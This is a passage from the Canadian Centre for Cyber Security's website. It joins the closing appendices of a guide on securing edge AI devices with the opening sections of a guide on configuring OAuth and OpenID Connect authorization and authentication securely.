Infrastructure Agency (CISA) <a href="https://www.cisa.gov/resources-tools/resources/principles-secure-integration-artificial-intelligence-operational-technology">Principles for the Secure Integration of Artificial Intelligence in Operational Technology</a></li> <li>Open Worldwide Application Security Project (OWASP) <a href="https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/">Top 10 for Agentic Applications 2026</a></li> <li>United Kingdom’s National Cyber Security Centre (NCSC) <a href="https://www.ncsc.gov.uk/files/Guidelines-for-secure-AI-system-development.pdf">Guidelines for secure <abbr title="artificial intelligence">AI</abbr> system development (PDF)</a></li> <li>Cloud Security Alliance (CSA) <a href="https://cloudsecurityalliance.org/artifacts/securing-autonomous-ai-agents/">Securing Autonomous <abbr title="artificial intelligence">AI</abbr> Agents</a></li> <li>United Kingdom’s <a href="https://www.gov.uk/government/publications/ai-cyber-security-code-of-practice">AI Cyber Security Code of Practice</a></li> <li>United States’ National Institute of Standards and Technology (NIST) <a href="https://www.nist.gov/itl/ai-risk-management-framework">AI Risk Management Framework (AI RMF)</a></li> <li>International Organization for Standardization / International Electrotechnical Commission (ISO/IEC) <a href="https://www.iso.org/standard/42001">Standard 42001: Information technology — Artificial intelligence — Management system</a></li> </ul></section><section><h2>Effective date</h2> <p>This publication takes effect on July 15, 2026.</p> <p>This is an <span class="text-uppercase">UNCLASSIFIED</span> publication that has been issued under the authority of the Head of the Canadian Centre for Cyber Security (Cyber Centre).</p> <p>For more information, contact the Cyber Centre:</p> <ul><li>by email: <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a></li> <li>by phone: <a href="tel:+16139497048">613-949-7048</a> or <a href="tel:+18332923788">1‑833‑CYBER‑88</a></li> </ul></section><section><h2>Revision history</h2> <ol class="list-unstyled"><li><strong>First release:</strong> July 15, 2026.</li> </ol></section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="AA">Appendix A: Key edge <abbr title="artificial intelligence">AI</abbr> categories</h2> <p>The spectrum of <abbr title="artificial intelligence">AI</abbr> technologies commonly deployed at the network edge can be vast.</p> <p>To effectively secure edge <abbr title="artificial intelligence">AI</abbr>, it is important to recognize the different types, or categories, of <abbr title="artificial intelligence">AI</abbr> and <abbr title="machine learning">ML</abbr> techniques that may be running on your devices, since each has distinct vulnerabilities. Below is a summary of eight major <abbr title="artificial intelligence">AI</abbr> categories found in edge deployments. These categories are not mutually exclusive; an edge device may use multiple <abbr title="artificial intelligence">AI</abbr> types simultaneously.</p> <ul><li><strong>Category A – Rule-based systems:</strong> <ul><li>Description: these use human-defined if/then rules or logic (for example, simple expert systems, safety interlocks)</li> <li>Vulnerability: attackers may tamper with the rules or thresholds themselves. Even without <abbr title="machine learning">ML</abbr>, manipulated rules can cause harmful outcomes if thresholds are altered (for example, changing a safety-alarm trigger from 150 pounds per square inch (PSI) to 500 PSI)</li> </ul></li> <li><strong>Category B – Search, planning and optimization:</strong> <ul><li>Description: algorithms that systematically explore possible solutions or paths (for example, route planning or scheduling)</li> <li>Vulnerability: input manipulation can mislead the planning process. For example, feeding incorrect map data to a pathfinding <abbr title="artificial intelligence">AI</abbr> could send a robot or vehicle along an unsafe route</li> </ul></li> <li><strong>Category C – Probabilistic reasoning:</strong> <ul><li>Description: <abbr title="artificial intelligence">AI</abbr> that fuses data from multiple uncertain sources (for example, Bayesian or Kalman filters)</li> <li>Vulnerability: subtle biasing of inputs can gradually skew estimates without triggering obvious alarms</li> </ul></li> <li><strong>Category D – Classic <abbr title="machine learning">ML</abbr>:</strong> <ul><li>Description: traditional <abbr title="machine learning">ML</abbr> models (for example, decision trees, random forests or support vector machines)</li> <li>Vulnerability: model files and data pipelines must be treated as critical software assets; an attacker might steal or alter an <abbr title="machine learning">ML</abbr> model on a device or manipulate how it processes data</li> </ul></li> <li><strong>Category E – Computer vision pipelines:</strong> <ul><li>Description: systems that interpret images or video</li> <li>Vulnerability: physical adversarial attacks, such as placing patterns in a camera’s view, can mislead the vision system without any digital compromise of the device</li> </ul></li> <li><strong>Category F – Deep learning (non-generative):</strong> <ul><li>Description: deep neural networks used for prediction, classification or detection (for example, voice recognition, advanced driver-assistance systems)</li> <li>Vulnerability: susceptible to adversarial examples and exploitation of software or hardware vulnerabilities in the <abbr title="machine learning">ML</abbr> framework</li> </ul></li> <li><strong>Category G – Generative <abbr title="artificial intelligence">AI</abbr> and small language models (SLMs):</strong> <ul><li>Description: <abbr title="artificial intelligence">AI</abbr> that creates new content or interprets complex commands, which is now feasible on the edge with <abbr title="small language models">SLMs</abbr></li> <li>Vulnerability: introduces unique threats such as prompt injection and output manipulation. In addition, malicious inputs could subvert instructions or cause generated outputs to trigger harmful downstream actions</li> </ul></li> <li><strong>Category H – Reinforcement learning and autonomy (agentic systems):</strong> <ul><li>Description: <abbr title="artificial intelligence">AI</abbr> agents that perceive, decide and act in a loop (for example, robotics, drones or autonomous vehicles)</li> <li>Vulnerability: faces the broadest range of risks, combining physical tampering, adversarial inputs and model compromise with direct and immediate real-world consequences</li> </ul></li> </ul></section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="AB">Appendix B: Edge <abbr title="artificial intelligence">AI</abbr> use cases (user and operator categories)</h2> <p>The following are representative categories of organizations or contexts that deploy edge <abbr title="artificial intelligence">AI</abbr>, with example use cases:</p> <ul><li><strong>Category 1 – Critical infrastructure operators:</strong> <ul><li>Description: large-scale essential services and utilities</li> <li>Examples: power grids, telecommunications networks, energy pipelines, nuclear facilities, transportation systems, as well as banking and financial transaction networks</li> <li>Mapping example: A power grid operator (Category 1) using <abbr title="artificial intelligence">AI</abbr> to predict equipment failures and optimize load distribution (Category C – Probabilistic reasoning) will therefore prioritize continuous anomaly monitoring, supply chain integrity of <abbr title="artificial intelligence">AI</abbr> sensors, and robust failsafes to prevent cascading outages</li> </ul></li> <li><strong>Category 2 – Healthcare and medical devices:</strong> <ul><li>Description: health sector entities deploying <abbr title="artificial intelligence">AI</abbr> at points of care</li> <li>Examples: hospitals using diagnostic <abbr title="artificial intelligence">AI</abbr> devices, medical device manufacturers with smart monitoring implants, and health agencies using <abbr title="artificial intelligence">AI</abbr> for bedside patient data analysis</li> <li>Mapping example: A healthcare operator (Category 2) using <abbr title="artificial intelligence">AI</abbr> to help diagnose X-ray images (Category E – Computer vision pipelines) will therefore prioritize data sovereignty and model monitoring for patient safety, as well as adversarial input controls to prevent misdiagnosis from manipulated imaging data</li> </ul></li> <li><strong>Category 3 – Industrial and manufacturing (industrial IoT):</strong> <ul><li>Description: industrial companies using <abbr title="artificial intelligence">AI</abbr> in <abbr title="operational technology">OT</abbr> environments</li> <li>Examples: factories with <abbr title="artificial intelligence">AI</abbr>-driven predictive maintenance sensors, robotic assembly lines, <abbr title="artificial intelligence">AI</abbr>-based quality inspection systems, as well as industrial control systems with embedded <abbr title="machine learning">ML</abbr></li> <li>Mapping example: A manufacturer (Category 3) deploying <abbr title="artificial intelligence">AI</abbr>-driven robotic assembly controlled by reinforcement learning agents (Category H – Reinforcement learning and autonomy) will therefore prioritize physical failsafes, human override mechanisms and hardening of on-device models against tampering</li> </ul></li> <li><strong>Category 4 – Smart cities and municipal services:</strong> <ul><li>Description: public sector and urban infrastructure operators</li> <li>Examples: city traffic control systems with <abbr title="artificial intelligence">AI</abbr>-timed lights, environmental monitoring sensors with local analytics, public safety surveillance cameras with <abbr title="artificial intelligence">AI</abbr>, and smart grid components in municipal utilities</li> <li>Mapping example: A municipal operator (Category 4) using <abbr title="artificial intelligence">AI</abbr> to optimize traffic light sequencing (Category B – Search, planning and optimization) will therefore prioritize integrity verification of input data feeds, transparency in automated decision logic, and human override capabilities</li> </ul></li> <li><strong>Category 5 – Consumer and small business:</strong> <ul><li>Description: individuals and small firms using consumer-grade or small-scale edge <abbr title="artificial intelligence">AI</abbr></li> <li>Examples: smart home devices (like security cameras, voice assistants or smart appliances), wearable health trackers, small business security systems, and smartphones with on-device <abbr title="artificial intelligence">AI</abbr> features</li> <li>Mapping example: A small business (Category 5) using an <abbr title="artificial intelligence">AI</abbr>-enabled smart security camera system (Category E – Computer vision pipelines) will therefore prioritize vendor management for embedded <abbr title="artificial intelligence">AI</abbr> components, data sovereignty to limit unnecessary cloud transmission, and privacy controls for individuals captured on camera</li> </ul></li> <li><strong>Category 6 – Automotive and transportation:</strong> <ul><li>Description: use of edge <abbr title="artificial intelligence">AI</abbr> in vehicles and transport systems</li> <li>Examples: autonomous and semi-autonomous cars, advanced driver-assistance systems, <abbr title="artificial intelligence">AI</abbr> in fleet management devices, delivery drones or unmanned aerial vehicles, and vehicle-to-everything communication systems</li> <li>Mapping example: An automotive manufacturer (Category 6) deploying deep learning for advanced driver-assistance systems (Category F – Deep learning (non-generative)) will therefore prioritize adversarial robustness of perception models, cryptographic protection of over-the-air model updates, and failsafe mechanisms that default control to the human driver</li> </ul></li> <li><strong>Category 7 – Retail and physical security:</strong> <ul><li>Description: retail industry and security service providers leveraging edge <abbr title="artificial intelligence">AI</abbr></li> <li>Examples: <abbr title="artificial intelligence">AI</abbr>-powered closed-circuit television and video analytics, facial recognition access control, smart point-of-sale (POS) kiosks, and autonomous inventory management robots</li> <li>Mapping example: A retail operator (Category 7) using <abbr title="artificial intelligence">AI</abbr>-powered facial recognition for access control (Category E – Computer vision pipelines) will therefore prioritize data privacy compliance, secure model disposal to protect biometric data, and continuous monitoring for model drift or spoofing attempts</li> </ul></li> <li><strong>Category 8 – Agriculture technology:</strong> <ul><li>Description: farming and agricultural businesses deploying <abbr title="artificial intelligence">AI</abbr> on equipment</li> <li>Examples: Autonomous tractors and farm machinery, drones for crop monitoring and pesticide application, as well as edge sensors for soil monitoring and livestock tracking</li> <li>Mapping example: An agricultural operator (Category 8) using <abbr title="artificial intelligence">AI</abbr>-guided autonomous drones for crop monitoring (Category H – Reinforcement learning and autonomy) will therefore prioritize secure supply chain verification of drone firmware, device hardening against physical tampering in remote environments, and defined human override procedures</li> </ul></li> <li><strong>Category 9 – Defence and national security:</strong> <ul><li>Description: government defence, military and security organizations using edge <abbr title="artificial intelligence">AI</abbr> in the field</li> <li>Examples: tactical drones and surveillance robots, <abbr title="artificial intelligence">AI</abbr>-enabled communication equipment for troops, autonomous reconnaissance systems, and edge devices in secure military networks</li> <li>Mapping example: A defence organization (Category 9) deploying <abbr title="artificial intelligence">AI</abbr> for real-time tactical surveillance and autonomous decision support (Categories F and H – Deep learning and Reinforcement learning) will therefore prioritize cryptographic protection of on-device models, zero-trust identity management for autonomous agents, and anti-tamper controls on field-deployed devices</li> </ul></li> <li><strong>Category 10 – Financial services (edge computing):</strong> <ul><li>Description: financial sector use of <abbr title="artificial intelligence">AI</abbr> at edge locations</li> <li>Examples: fraud detection algorithms running on automated teller machines or <abbr title="point of sale">POS</abbr> terminals, biometric authentication devices at bank branches, high-frequency trading systems at exchange edges, and edge analytics for real-time transaction processing</li> <li>Mapping example: A financial institution (Category 10) using <abbr title="artificial intelligence">AI</abbr> for real-time fraud detection at <abbr title="point of sale">POS</abbr> terminals (Category D – Classic <abbr title="machine learning">ML</abbr>) will therefore prioritize model integrity monitoring, secure update pipelines, and anomaly detection to identify when the fraud model’s behaviour has been manipulated</li> </ul></li> </ul><p>Identifying your organization’s category (or combination of categories) will help you tailor these guidelines to your specific context. For instance, a healthcare operator may prioritize data sovereignty and model monitoring for patient safety, whereas a defence organization would heavily emphasize model hardening and human oversight of autonomous systems. You can use these categories as a starting point to focus your efforts where they matter most.</p> </section></div> </div> </div> </div> </div> </article>

<article data-history-node-id="7899" about="/en/guidance/guidance-securely-configuring-authorization-authentication-frameworks-itsp40063" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"><!–Info across the top under the image–> <div class="col-md-4 col-sm-12 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>July 2026</strong></p> </div> <div class="col-md-4 col-sm-12 hidden-xs hidden-sm"> <p class="text-center"><strong>Practitioner series</strong></p> </div> <div class="col-md-4 col-sm-12 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSP.40.063</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>July 2026 | Practitioner series</strong></p> </div> <!–pdf download–> <div class="col-md-12 mrgn-tp-lg"><!– <div class="mrgn-bttm-md well well-sm col-md-4 col-sm-12 col-xs-12 pull-right mrgn-lft-md"> <p class="mrgn-tp-sm"><strong>Alternate format</strong>: <a href="/sites/default/files/ITSPxxxxx-e.pdf">Guidance on securely configuring authorization and authentication frameworks&nbsp;- ITSP.40.063 (PDF,&nbsp;xxx&nbsp;KB)</a></p> </div>–> <section><h2>Effective date</h2> <p>This publication takes effect on July 13, 2026.</p> </section><section><h2>Revision history</h2> <ol class="list-unstyled"><li><strong>First release:</strong> July 13, 2026.</li> </ol></section><section><h2>Overview</h2> <p>This publication identifies and describes authorization and authentication frameworks that organizations can implement to protect sensitive information. For Government of Canada (GC) departments and agencies, the guidance in this publication applies to UNCLASSIFIED, PROTECTED A, and PROTECTED B information. This guidance should be used in conjunction with <a href="/en/guidance/cryptographic-algorithms-unclassified-protected-protected-b-information-itsp40111">Cryptographic Algorithms for UNCLASSIFIED, PROTECTED A, and PROTECTED B Information (ITSP.40.111)</a>. The configurations in this publication comply with the cryptographic requirements in ITSP.40.111.</p> <p>Your organization’s ability to securely process user authorization and authentication is fundamental to the delivery of your programs and services. Using cryptographic security frameworks ensures the confidentiality, integrity and availability of information and helps protect against certain cyber intrusion threats.</p> <p>Data confidentiality, integrity, and availability, stakeholder authentication and accountability, as well as non-repudiation are all benefits of properly configured authorization and authentication frameworks. You may need to use various frameworks to satisfy your organization’s specific security requirements. You should select and implement each framework to ensure all requirements are met.</p> <p>For more information on securely configuring authorization and authentication frameworks, contact the Cyber Centre.</p> <ul><li>Email: <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a></li> <li>Phone: <a href="tel:+16139497048">(613) 949-7048</a> or <a href="tel:+18332923788">1‑833‑CYBER‑88</a></li> </ul></section><section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled mrgn-tp-lg"><li><a href="#a1">1 Introduction</a> <ul><li><a href="#a11">1.1 <abbr title="information technology">IT</abbr> security risk management process</a></li> <li><a href="#a12">1.2 General recommendations</a></li> <li><a href="#a13">1.3 Post-quantum cryptography</a></li> </ul></li> <li><a href="#a2">2 OAuth and OpenID Connect</a> <ul><li><a href="#a21">2.1 OAuth and OpenID Connect clients</a></li> <li><a href="#a22">2.2 Digital signatures and encryption</a></li> <li><a href="#a23">2.3 Authorization</a></li> <li><a href="#a24">2.4 Tokens</a></li> <li><a href="#a25">2.5 OpenID Connect UserInfo endpoint</a></li> </ul></li> <li><a href="#a3">3 Grant Negotiation and Authorization Protocol</a> <ul><li><a href="#a31">3.1 Client instance key</a></li> <li><a href="#a32">3.2 Grant response</a></li> <li><a href="#a33">3.3 Interaction</a></li> </ul></li> <li><a href="#a4">4 Fast Identity Online 2</a> <ul><li><a href="#a41">4.1 Credential registration</a></li> <li><a href="#a42">4.2 Authentication</a></li> </ul></li> </ul></details></section><h2 id="a1">1 Introduction</h2> <p>Organizations rely on information technology (IT) systems to achieve business objectives. These interconnected systems can be the targets of serious cyber attacks and other threats that jeopardize the confidentiality, integrity and availability of information assets. Compromised networks, systems or information can have adverse effects on business activities and may result in data breaches and financial loss.</p> <p>This publication provides guidance on securely configuring authorization and authentication frameworks to protect sensitive information using cryptographic algorithms recommended by the Cyber Centre for the UNCLASSIFIED, PROTECTED A, and PROTECTED B levels. It complements the <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=26262">Treasury Board of Canada Secretariat (TBS) Guideline on Defining Authentication Requirements</a>. Organizations are responsible for determining their security objectives and requirements as part of their risk management framework.</p> <h3 id="a11">1.1 <abbr title="information technology">IT</abbr> security risk management process</h3> <p>When implementing security protocols, practitioners should consider the <abbr title="information technology">IT</abbr> security risk management activities described in <a href="/en/guidance/cyber-security-privacy-risk-management">Cyber security and privacy risk management: A lifecycle approach (ITSP.10.033)</a>. ITSP.10.033 addresses 2 levels of <abbr title="information technology">IT</abbr> security risk management activities: departmental-level and information system-level activities. It also includes a catalogue of security controls (for example, standardized security requirements to protect the confidentiality, integrity and availability of <abbr title="information technology">IT</abbr> assets).</p> <p>Additionally, organizations should consider the following activity areas:</p> <ul><li>define</li> <li>develop</li> <li>allocate</li> <li>monitor and assess</li> <li>maintain and update</li> </ul><p>Read Organizational cyber security and privacy risk management activities (ITSP.10.036) for more information on these activities.</p> <p>Departmental-level activities (or organizational-level activities for non-GC organizations) are included in departmental or organizational security programs to plan, manage, assess and improve the management of <abbr title="information technology">IT</abbr> security risks.</p> <p>Information system-level activities are included in an information system’s lifecycle through the information system security implementation process (ISSIP). When implementing network security protocols, you should consider all the steps in the <abbr title="information system security implementation process">ISSIP</abbr>. Read System lifecycle cyber security and privacy risk management activities (ITSP.10.037) for more details on information system security risk management.</p> <h3 id="a12">1.2 General recommendations</h3> <p>For each framework listed in this publication, the recommendations are best considered as a whole package. Choosing to follow some recommendations and not others may result in security vulnerabilities.</p> <p>When using a public key infrastructure (PKI) with any of these frameworks, you should follow the <abbr title="public key infrastructure">PKI</abbr> guidance in <a href="/en/guidance/guidance-securely-configuring-network-protocols-itsp40062">Guidance on securely configuring network protocols (ITSP.40.062)</a>.</p> <h3 id="a13">1.3 Post-quantum cryptography</h3> <p>Quantum computers threaten to break many of the public key cryptosystems that we currently use. In August 2024, the National Institute of Standards and Technology (NIST) published standards for post-quantum cryptography that are designed to be resistant to the advantages of future quantum computers. For additional information on these standards, read <a href="/en/guidance/cryptographic-algorithms-unclassified-protected-protected-b-information-itsp40111">Cryptographic algorithms for UNCLASSIFIED, PROTECTED A, and PROTECTED B information (ITSP.40.111)</a>.</p> <p>Once the standards for the various authorization and authentication frameworks are revised to include post-quantum cryptography, we expect to update this publication to include recommendations for post-quantum configurations.</p> <p>In the meantime, the Cyber Centre recommends the following high-level steps:</p> <ul><li>Evaluate the sensitivity of your organization’s information and determine its lifespan to identify information that may be at risk (for example, as part of on-going risk assessment processes)</li> <li>Review your <abbr title="information technology">IT</abbr> lifecycle management plan and budget for potentially significant software and hardware updates</li> <li>Educate your workforce on the quantum threat</li> </ul><p>For more detailed information, read <a href="/en/guidance/preparing-your-organization-quantum-threat-cryptography-itsap00017">Preparing your organization for the quantum threat to cryptography (ITSAP.00.017)</a>.</p> <p>Organizations should wait until the standards for using post-quantum cryptography in frameworks are finalized before revising configurations to protect information or systems.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h2 id="a2">2 OAuth and OpenID Connect</h2> <p>OAuth is an authorization protocol framework that leverages a third-party authorization server enabling an end user to authorize a client to access its resources. The OpenID Connect (OIDC) protocol can be used with OAuth to provide user authentication. The recommendations in this section apply to the use of both OAuth and <abbr title="OpenID Connect">OIDC</abbr>, except when noted otherwise.</p> <p>In <abbr title="OpenID Connect">OIDC</abbr>, an OAuth client is referred to as a relying party and an OAuth authorization server is referred to as an OpenID provider or identity provider.</p> <p>The Cyber Centre recommends the use of OAuth version 2.0, originally defined in the <a href="https://datatracker.ietf.org/doc/html/rfc6749">Internet Engineering Task Force (IETF) Request for Comments (RFC) 6749 The OAuth 2.0 Authorization Framework</a> and in updates from subsequent <abbr title="Requests for Comments">RFCs</abbr> according to guidance in this section.</p> <p>When using <abbr title="OpenID Connect">OIDC</abbr>, use the version as defined in <a href="https://openid.net/specs/openid-connect-core-1_0.html">OpenID Connect Core 1.0 incorporating errata set 2</a>.</p> <p>The Cyber Centre also recommends securing all OAuth and <abbr title="OpenID Connect">OIDC</abbr> communication with Transport Layer Security (TLS) configured according to the <a href="/en/guidance/guidance-securely-configuring-network-protocols-itsp40062">Guidance on securely configuring network protocols (ITSP.40.062)</a>.</p> <h3 id="a21">2.1 OAuth and OpenID Connect clients</h3> <p>OAuth defines 2 types of clients: public and confidential. The Cyber Centre recommends using the ‘confidential’ client type.</p> <p>When making requests to the OAuth authorization server, your organization should use 1 of the following methods for client authentication:</p> <ul><li>client_secret_jwt</li> <li>private_key_jwt</li> <li>tls_client_auth (when only using OAuth)</li> <li>self_signed_tls_client_auth (when only using OAuth)</li> </ul><p>When using either the "client_secret_jwt" or "private_key_jwt" authentication method, the authorization server’s issuer identifier should be used as the value for the "aud" claim.</p> <h4>2.1.1 Client registration and server discovery</h4> <p>To register OAuth and <abbr title="OpenID Connect">OIDC</abbr> clients, the Cyber Centre recommends using dynamic registration in accordance with the <a href="https://datatracker.ietf.org/doc/html/rfc7591"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 7591 OAuth 2.0 Dynamic Client Registration Protocol</a>, and with <a href="https://openid.net/specs/openid-connect-registration-1_0.html">OpenID Connect Dynamic Client Registration 1.0 incorporating errata set 2</a> when registering <abbr title="OpenID Connect">OIDC</abbr> clients. When these 2 specifications conflict, follow the guidance in <abbr title="Request for Comments">RFC</abbr> 7591.</p> <p>During registration, the Cyber Centre recommends registering the following optional information with the authorization server:</p> <ul><li>all redirection uniform resource identifiers (URIs) the client may use in the authorization request; all <abbr title="uniform resource identifiers">URIs</abbr> should be complete and use the ‘https’ scheme</li> <li>the client’s authentication method and associated signature algorithms that will be used at the authorization server’s endpoints</li> <li>the signature and encryption algorithms to be used by both parties throughout the protocol</li> </ul><p>Clients should register each redirection <abbr title="uniform resource identifier">URI</abbr> with only 1 authorization server.</p> <p>The Cyber Centre recommends using the "jwks_uri" client parameter. Clients incapable of hosting public uniform resource locators (URLs) should use the "jwks" parameter.</p> <p>In addition, the Cyber Centre recommends that authorization servers:</p> <ul><li>provide a way for clients to query and update the registration information</li> <li>assign unique client IDs to different instances of the same software</li> <li>assign unique client secrets to all registration requests, even those from the same software or software instance</li> <li>provide lists of supported signature and encryption algorithms for each type of data being signed or encrypted</li> <li>provide the location of the UserInfo endpoint (when using <abbr title="OpenID Connect">OIDC</abbr>)</li> </ul><p>When using <abbr title="OpenID Connect">OIDC</abbr>, use the <abbr title="OpenID Connect">OIDC</abbr> discovery protocol as specified in <a href="https://openid.net/specs/openid-connect-discovery-1_0.html">OpenID Connect Discovery 1.0 incorporating errata set 2</a>.</p> <h3 id="a22">2.2 Digital signatures and encryption</h3> <p>OAuth and <abbr title="OpenID Connect">OIDC</abbr> make extensive use of JavaScript Object Notation (JSON) Web Signatures (JWS) and <abbr title="JavaScript Object Notation">JSON</abbr> Web Encryptions (JWE).</p> <p>Where a <strong><abbr title="JSON Web Signature">JWS</abbr> is used within OAuth or <abbr title="OpenID Connect">OIDC</abbr></strong>, the Cyber Centre recommends using 1 of the following for the <strong>"alg" parameter</strong>:</p> <ul><li>PS256 (RSASSA-PSS using SHA-256 and MGF1 with SHA-256)</li> <li>PS384 (RSASSA-PSS using SHA-384 and MGF1 with SHA-384)</li> <li>PS512 (RSASSA-PSS using SHA-512 and MGF1 with SHA-512</li> <li>ES256 (ECDSA using P-256 and SHA-256)</li> <li>ES384 (ECDSA using P-384 and SHA-384)</li> <li>ES512 (ECDSA using P-521 and SHA-512)</li> <li>Ed25519 (EdDSA using Ed25519 curve)</li> <li>Ed448 (EdDSA using Ed448 curve)</li> </ul><p>If <strong>none of the above</strong> are available, it is sufficient to use 1 of the following:</p> <ul><li>RS256 (RSASSA-PKCS1-v1_5 using SHA-256)</li> <li>RS384 (RSASSA-PKCS1-v1_5 using SHA-384)</li> <li>RS512 (RSASSA-PKCS1-v1_5 using SHA-512)</li> </ul><p>If it is necessary to use the <strong>"client_secret_jwt" authentication method</strong>, 1 of the following algorithms may be used for the <strong><abbr title="JSON Web Signature">JWS</abbr> "alg" parameter</strong> when signing the client authentication <abbr title="JavaScript Object Notation">JSON</abbr> Web Token (JWT):</p> <ul><li>HS256 (HMAC using SHA-256)</li> <li>HS384 (HMAC using SHA-384)</li> <li>HS512 (HMAC using SHA-512)</li> </ul><p>Where a <strong><abbr title="JSON Web Encryptions">JWE</abbr> is used within OAuth or <abbr title="OpenID Connect">OIDC</abbr></strong>, the Cyber Centre recommends using 1 of the following for the <strong>"alg" parameter</strong>:</p> <ul><li>RSA-OAEP-256 (RSAES OAEP using SHA-256 and MGF1 with SHA-256)</li> <li>RSA-OAEP-384 (RSA-OAEP using SHA-384 and MGF1 with SHA-384)</li> <li>RSA-OAEP-512 (RSA-OAEP using SHA-512 and MGF1 with SHA-512)</li> <li>ECDH-ES (ECDH-ES using Concat KDF)</li> <li>ECDH-ES+A128KW (ECDH-ES using Concat KDF and "A128KW" wrapping)</li> <li>ECDH-ES+A192KW (ECDH-ES using Concat KDF and "A192KW" wrapping)</li> <li>ECDH-ES+A256KW (ECDH-ES using Concat KDF and "A256KW" wrapping)</li> </ul><p>Where a <strong><abbr title="JSON Web Encryptions">JWE</abbr> is used within OAuth or <abbr title="OpenID Connect">OIDC</abbr></strong>, the Cyber Centre recommends using 1 of the following for the <strong>"enc" parameter</strong>:</p> <ul><li>A128CBC-HS256 (AES_128_CBC_HMAC_SHA_256 authenticated encryption algorithm)</li> <li>A192CBC-HS384 (AES_192_CBC_HMAC_SHA_384 authenticated encryption algorithm)</li> <li>A256CBC-HS512 (AES_256_CBC_HMAC_SHA_512 authenticated encryption algorithm)</li> <li>A128GCM (AES GCM using 128-bit key)</li> <li>A192GCM (AES GCM using 192-bit key)</li> <li>A256GCM (AES GCM using 256-bit key)</li> </ul><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h3 id="a23">2.3 Authorization</h3> <p>The Cyber Centre recommends using the authorization code grant for OAuth and the authorization code flow for <abbr title="OpenID Connect">OIDC</abbr>. When an OAuth client is requesting access to its own resources, the client credentials grant can be used instead.</p> <p>Authorization codes should have a maximum lifetime of 60 seconds.</p> <h4>2.3.1 Authorization requests and responses</h4> <p>The Cyber Centre recommends using the "state" and "redirect_uri" parameters in authorization requests, and authorization servers should perform exact string matching of the "redirect_uri" against the <abbr title="uniform resource identifiers">URIs</abbr> provided at registration. You should also use the "nonce" parameter when you use <abbr title="OpenID Connect">OIDC</abbr>.</p> <p>The Cyber Centre recommends using 1 of the following response modes:</p> <ul><li>form_post</li> <li>jwt (encrypted)</li> <li>jwt (encrypted)</li> <li>jwt (either encrypted or unencrypted)</li> </ul><p>When using OAuth, you should use rich authorization requests, as defined in <a href="https://datatracker.ietf.org/doc/html/rfc9396"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9396 OAuth 2.0 Rich Authorization Requests</a> and the Proof Key for Code Exchange (PKCE) extension defined in <a href="https://datatracker.ietf.org/doc/html/rfc7636"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 7636 Proof Key for Code Exchange by OAuth Public Clients</a> with "S256" as the code challenge method. Use of PKCE with <abbr title="OpenID Connect">OIDC</abbr> is optional.</p> <p>At least 1 of the "state", "nonce", and "code_challenge" parameters should be cryptographically bound to the user agent.</p> <p>Authorization responses should contain the issuer identifier claim "iss" as defined in <a href="https://datatracker.ietf.org/doc/html/rfc9207"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9207 OAuth 2.0 Authorization Server Issue Identification</a> or be encoded as defined in <a href="https://openid.net/specs/oauth-v2-jarm.html"><abbr title="JSON Web Token">JWT</abbr> Secured Authorization Response Mode for OAuth 2.0 (JARM)</a>.</p> <h4>2.3.2 Pushed authorization requests</h4> <p>The Cyber Centre recommends the use of pushed authorization requests, as defined in <a href="https://datatracker.ietf.org/doc/html/rfc9126"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9126 OAuth 2.0 Pushed Authorization Requests</a>. Any <abbr title="uniform resource identifiers">URIs</abbr> generated by the authorization server for use with pushed authorization requests should have a maximum lifetime of 60 seconds and be single use. Clients should not be allowed to use unregistered redirect <abbr title="uniform resource identifiers">URIs</abbr>.</p> <h4>2.3.3 <abbr title="JSON Web Token">JWT</abbr>-secured authorization request</h4> <p>The <abbr title="JSON Web Token">JWT</abbr>-secured authorization request (JAR), as defined in <a href="https://datatracker.ietf.org/doc/html/rfc9101"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9101 The OAuth 2.0 Authorization Framework: <abbr title="JSON Web Token">JWT</abbr>-Secured Authorization Request (JAR)</a>, may optionally be used. When <abbr title="JWT-Secured Authorization Request">JAR</abbr> is used, the Cyber Centre recommends using the "request" parameter to send the request object to the authorization server. Request objects should be signed and the keys used should not be used for signing other <abbr title="JSON Web Tokens">JWTs</abbr>. The request object may optionally be encrypted after signing. Additionally, request objects should be single-use and contain a unique "state" parameter. For <abbr title="OpenID 